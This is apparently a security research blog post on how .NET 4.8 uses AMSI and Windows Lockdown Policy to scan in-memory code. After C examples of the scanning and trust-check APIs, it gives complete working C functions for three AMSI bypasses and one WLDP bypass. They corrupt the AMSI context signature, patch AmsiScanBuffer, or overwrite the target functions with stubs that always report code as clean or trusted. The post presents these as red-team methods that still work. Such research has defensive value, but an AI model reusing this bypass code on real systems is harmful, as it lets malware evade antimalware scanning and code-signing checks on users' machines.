1. Introduction
v4.8 of the dotnet framework uses Antimalware Scan Interface (AMSI) and Windows Lockdown Policy (WLDP) to block potentially unwanted software running from memory. WLDP will verify the digital signature of dynamic code while AMSI will scan for software that is either harmful or blocked by the administrator. This post documents three publicly-known methods red teams currently use to bypass AMSI and one to bypass WLDP. The bypass methods described are somewhat generic and don’t require special knowledge of AMSI or WLDP. If you’re reading this post anytime after June 2019, the methods may no longer work. The research of AMSI and WLDP was conducted in collaboration with TheWover.
2. Previous Research
The following table includes links to past research about AMSI and WLDP. If you feel I’ve missed anyone, don’t hesitate to e-mail me the details.
3. AMSI Example in C
Given the path to a file, the following function will open it, map into memory and use AMSI to detect if the contents are harmful or blocked by the administrator.
typedef HRESULT (WINAPI *AmsiInitialize_t)( LPCWSTR appName, HAMSICONTEXT *amsiContext); typedef HRESULT (WINAPI *AmsiScanBuffer_t)( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result); typedef void (WINAPI *AmsiUninitialize_t)( HAMSICONTEXT amsiContext); BOOL IsMalware(const char *path) { AmsiInitialize_t _AmsiInitialize; AmsiScanBuffer_t _AmsiScanBuffer; AmsiUninitialize_t _AmsiUninitialize; HAMSICONTEXT ctx; AMSI_RESULT res; HMODULE amsi; HANDLE file, map, mem; HRESULT hr = -1; DWORD size, high; BOOL malware = FALSE; // load amsi library amsi = LoadLibrary("amsi"); // resolve functions _AmsiInitialize = (AmsiInitialize_t) GetProcAddress(amsi, "AmsiInitialize"); _AmsiScanBuffer = (AmsiScanBuffer_t) GetProcAddress(amsi, "AmsiScanBuffer"); _AmsiUninitialize = (AmsiUninitialize_t) GetProcAddress(amsi, "AmsiUninitialize"); // return FALSE on failure if(_AmsiInitialize == NULL || _AmsiScanBuffer == NULL || _AmsiUninitialize == NULL) { printf("Unable to resolve AMSI functions.\n"); return FALSE; } // open file for reading file = CreateFile( path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(file != INVALID_HANDLE_VALUE) { // get size size = GetFileSize(file, &high); if(size != 0) { // create mapping map = CreateFileMapping( file, NULL, PAGE_READONLY, 0, 0, 0); if(map != NULL) { // get pointer to memory mem = MapViewOfFile( map, FILE_MAP_READ, 0, 0, 0); if(mem != NULL) { // scan for malware hr = _AmsiInitialize(L"AMSI Example", &ctx); if(hr == S_OK) { hr = _AmsiScanBuffer(ctx, mem, size, NULL, 0, &res); if(hr == S_OK) { malware = (AmsiResultIsMalware(res) || AmsiResultIsBlockedByAdmin(res)); } _AmsiUninitialize(ctx); } UnmapViewOfFile(mem); } CloseHandle(map); } } CloseHandle(file); } return malware; }
Scanning a good and bad file.

If you’re already familiar with the internals of AMSI, you can skip to the bypass methods here.
4. AMSI Context
The context is an undocumented structure, but you may use the following to interpret the handle returned.
typedef struct tagHAMSICONTEXT { DWORD Signature; // "AMSI" or 0x49534D41 PWCHAR AppName; // set by AmsiInitialize IAntimalware *Antimalware; // set by AmsiInitialize DWORD SessionCount; // increased by AmsiOpenSession } _HAMSICONTEXT, *_PHAMSICONTEXT;
5. AMSI Initialization
appName points to a user-defined string in unicode format while amsiContext points to a handle of type
HRESULT _AmsiInitialize(LPCWSTR appName, HAMSICONTEXT *amsiContext) { _HAMSICONTEXT *ctx; HRESULT hr; int nameLen; IClassFactory *clsFactory = NULL; // invalid arguments? if(appName == NULL || amsiContext == NULL) { return E_INVALIDARG; } // allocate memory for context ctx = (_HAMSICONTEXT*)CoTaskMemAlloc(sizeof(_HAMSICONTEXT)); if(ctx == NULL) { return E_OUTOFMEMORY; } // initialize to zero ZeroMemory(ctx, sizeof(_HAMSICONTEXT)); // set the signature to "AMSI" ctx->Signature = 0x49534D41; // allocate memory for the appName and copy to buffer nameLen = (lstrlen(appName) + 1) * sizeof(WCHAR); ctx->AppName = (PWCHAR)CoTaskMemAlloc(nameLen); if(ctx->AppName == NULL) { hr = E_OUTOFMEMORY; } else { // set the app name lstrcpy(ctx->AppName, appName); // instantiate class factory hr = DllGetClassObject( CLSID_Antimalware, IID_IClassFactory, (LPVOID*)&clsFactory); if(hr == S_OK) { // instantiate Antimalware interface hr = clsFactory->CreateInstance( NULL, IID_IAntimalware, (LPVOID*)&ctx->Antimalware); // free class factory clsFactory->Release(); // save pointer to context *amsiContext = ctx; } } // if anything failed, free context if(hr != S_OK) { AmsiFreeContext(ctx); } return hr; }
Memory is allocated on the heap for a
6. AMSI Scanning
The following code gives you a rough idea of what happens when the function is invoked. If the scan is successful, the result returned will be
HRESULT _AmsiScanBuffer( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result) { _HAMSICONTEXT *ctx = (_HAMSICONTEXT*)amsiContext; // validate arguments if(buffer == NULL || length == 0 || amsiResult == NULL || ctx == NULL || ctx->Signature != 0x49534D41 || ctx->AppName == NULL || ctx->Antimalware == NULL) { return E_INVALIDARG; } // scan buffer return ctx->Antimalware->Scan( ctx->Antimalware, // rcx = this &CAmsiBufferStream, // rdx = IAmsiBufferStream interface amsiResult, // r8 = AMSI_RESULT NULL, // r9 = IAntimalwareProvider amsiContext, // HAMSICONTEXT CAmsiBufferStream, buffer, length, contentName, amsiSession); }
Note how arguments are validated. This is one of the many ways
7. CLR Implementation of AMSI
CLR uses a private function called
AmsiScanBuffer_t _AmsiScanBuffer; AmsiInitialize_t _AmsiInitialize; HAMSICONTEXT *g_amsiContext; VOID AmsiScan(PVOID buffer, ULONG length) { HMODULE amsi; HAMSICONTEXT *ctx; HAMSI_RESULT amsiResult; HRESULT hr; // if global context not initialized if(g_amsiContext == NULL) { // load AMSI.dll amsi = LoadLibraryEx( L"amsi.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32); if(amsi != NULL) { // resolve address of init function _AmsiInitialize = (AmsiInitialize_t)GetProcAddress(amsi, "AmsiInitialize"); // resolve address of scanning function _AmsiScanBuffer = (AmsiScanBuffer_t)GetProcAddress(amsi, "AmsiScanBuffer"); // failed to resolve either? exit scan if(_AmsiInitialize == NULL || _AmsiScanBuffer == NULL) return; hr = _AmsiInitialize(L"DotNet", &ctx); if(hr == S_OK) { // update global variable g_amsiContext = ctx; } } } if(g_amsiContext != NULL) { // scan buffer hr = _AmsiScanBuffer( g_amsiContext, buffer, length, 0, 0, &amsiResult); if(hr == S_OK) { // if malware was detected or it's blocked by admin if(AmsiResultIsMalware(amsiResult) || AmsiResultIsBlockedByAdmin(amsiResult)) { // "Operation did not complete successfully because " // "the file contains a virus or potentially unwanted" // software. GetHRMsg(ERROR_VIRUS_INFECTED, &error_string, 0); ThrowHR(COR_E_BADIMAGEFORMAT, &error_string); } } } }
When
8. AMSI Bypass A (Patching Data)
Matt Graeber provided a PoC that corrupts the context
BOOL DisableAMSI(VOID) { LPVOID hCLR; BOOL disabled = FALSE; PIMAGE_DOS_HEADER dos; PIMAGE_NT_HEADERS nt; PIMAGE_SECTION_HEADER sh; DWORD i, j, res; PBYTE ds; MEMORY_BASIC_INFORMATION mbi; _PHAMSICONTEXT ctx; hCLR = GetModuleHandleA("CLR"); if(hCLR != NULL) { dos = (PIMAGE_DOS_HEADER)hCLR; nt = RVA2VA(PIMAGE_NT_HEADERS, hCLR, dos->e_lfanew); sh = (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader + nt->FileHeader.SizeOfOptionalHeader); // scan all writeable segments while disabled == FALSE for(i = 0; i < nt->FileHeader.NumberOfSections && !disabled; i++) { // if this section is writeable, assume it's data if (sh[i].Characteristics & IMAGE_SCN_MEM_WRITE) { // scan section for pointers to the heap ds = RVA2VA (PBYTE, hCLR, sh[i].VirtualAddress); for(j = 0; j < sh[i].Misc.VirtualSize - sizeof(ULONG_PTR); j += sizeof(ULONG_PTR)) { // get pointer ULONG_PTR ptr = *(ULONG_PTR*)&ds[j]; // query if the pointer res = VirtualQuery((LPVOID)ptr, &mbi, sizeof(mbi)); if(res != sizeof(mbi)) continue; // if it's a pointer to heap or stack if ((mbi.State == MEM_COMMIT ) && (mbi.Type == MEM_PRIVATE ) && (mbi.Protect == PAGE_READWRITE)) { ctx = (_PHAMSICONTEXT)ptr; // check if it contains the signature if(ctx->Signature == 0x49534D41) { // corrupt it ctx->Signature++; disabled = TRUE; break; } } } } } } return disabled; }
9. AMSI Bypass B (Patching Code 1)
CyberArk suggest patching
BOOL DisableAMSI(VOID) { HMODULE dll; PBYTE cs; DWORD i, op, t; BOOL disabled = FALSE; _PHAMSICONTEXT ctx; // load AMSI library dll = LoadLibraryExA( "amsi", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32); if(dll == NULL) { return FALSE; } // resolve address of function to patch cs = (PBYTE)GetProcAddress(dll, "AmsiScanBuffer"); // scan for signature for(i=0;;i++) { ctx = (_PHAMSICONTEXT)&cs[i]; // is it "AMSI"? if(ctx->Signature == 0x49534D41) { // set page protection for write access VirtualProtect(cs, sizeof(ULONG_PTR), PAGE_EXECUTE_READWRITE, &op); // change signature ctx->Signature++; // set page back to original protection VirtualProtect(cs, sizeof(ULONG_PTR), op, &t); disabled = TRUE; break; } } return disabled; }
10. AMSI Bypass C (Patching Code 2)
Tal Liberman suggests overwriting the prolog bytes of
// fake function that always returns S_OK and AMSI_RESULT_CLEAN static HRESULT AmsiScanBufferStub( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result) { *result = AMSI_RESULT_CLEAN; return S_OK; } static VOID AmsiScanBufferStubEnd(VOID) {} BOOL DisableAMSI(VOID) { BOOL disabled = FALSE; HMODULE amsi; DWORD len, op, t; LPVOID cs; // load amsi amsi = LoadLibrary("amsi"); if(amsi != NULL) { // resolve address of function to patch cs = GetProcAddress(amsi, "AmsiScanBuffer"); if(cs != NULL) { // calculate length of stub len = (ULONG_PTR)AmsiScanBufferStubEnd - (ULONG_PTR)AmsiScanBufferStub; // make the memory writeable if(VirtualProtect( cs, len, PAGE_EXECUTE_READWRITE, &op)) { // over write with code stub memcpy(cs, &AmsiScanBufferStub, len); disabled = TRUE; // set back to original protection VirtualProtect(cs, len, op, &t); } } } return disabled; }
After the patch is applied, we see unwanted software is flagged as safe.

11. WLDP Example in C
The following function demonstrates how to query the trust of dynamic code in-memory using Windows Lockdown Policy.
BOOL VerifyCodeTrust(const char *path) { WldpQueryDynamicCodeTrust_t _WldpQueryDynamicCodeTrust; HMODULE wldp; HANDLE file, map, mem; HRESULT hr = -1; DWORD low, high; // load wldp wldp = LoadLibrary("wldp"); _WldpQueryDynamicCodeTrust = (WldpQueryDynamicCodeTrust_t) GetProcAddress(wldp, "WldpQueryDynamicCodeTrust"); // return FALSE on failure if(_WldpQueryDynamicCodeTrust == NULL) { printf("Unable to resolve address for WLDP.dll!WldpQueryDynamicCodeTrust.\n"); return FALSE; } // open file reading file = CreateFile( path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(file != INVALID_HANDLE_VALUE) { // get size low = GetFileSize(file, &high); if(low != 0) { // create mapping map = CreateFileMapping(file, NULL, PAGE_READONLY, 0, 0, 0); if(map != NULL) { // get pointer to memory mem = MapViewOfFile(map, FILE_MAP_READ, 0, 0, 0); if(mem != NULL) { // verify signature hr = _WldpQueryDynamicCodeTrust(0, mem, low); UnmapViewOfFile(mem); } CloseHandle(map); } } CloseHandle(file); } return hr == S_OK; }

12. WLDP Bypass A (Patching Code 1)
Overwriting the function with a code stub that always returns
// fake function that always returns S_OK static HRESULT WINAPI WldpQueryDynamicCodeTrustStub( HANDLE fileHandle, PVOID baseImage, ULONG ImageSize) { return S_OK; } static VOID WldpQueryDynamicCodeTrustStubEnd(VOID) {} static BOOL PatchWldp(VOID) { BOOL patched = FALSE; HMODULE wldp; DWORD len, op, t; LPVOID cs; // load wldp wldp = LoadLibrary("wldp"); if(wldp != NULL) { // resolve address of function to patch cs = GetProcAddress(wldp, "WldpQueryDynamicCodeTrust"); if(cs != NULL) { // calculate length of stub len = (ULONG_PTR)WldpQueryDynamicCodeTrustStubEnd - (ULONG_PTR)WldpQueryDynamicCodeTrustStub; // make the memory writeable if(VirtualProtect( cs, len, PAGE_EXECUTE_READWRITE, &op)) { // over write with stub memcpy(cs, &WldpQueryDynamicCodeTrustStub, len); patched = TRUE; // set back to original protection VirtualProtect(cs, len, op, &t); } } } return patched; }

Although the methods described here are easy to detect, they remain effective against the latest release of DotNet framework on Windows 10. So long as it’s possible to patch data or code used by AMSI to detect harmful code, the potential to bypass it will always exist.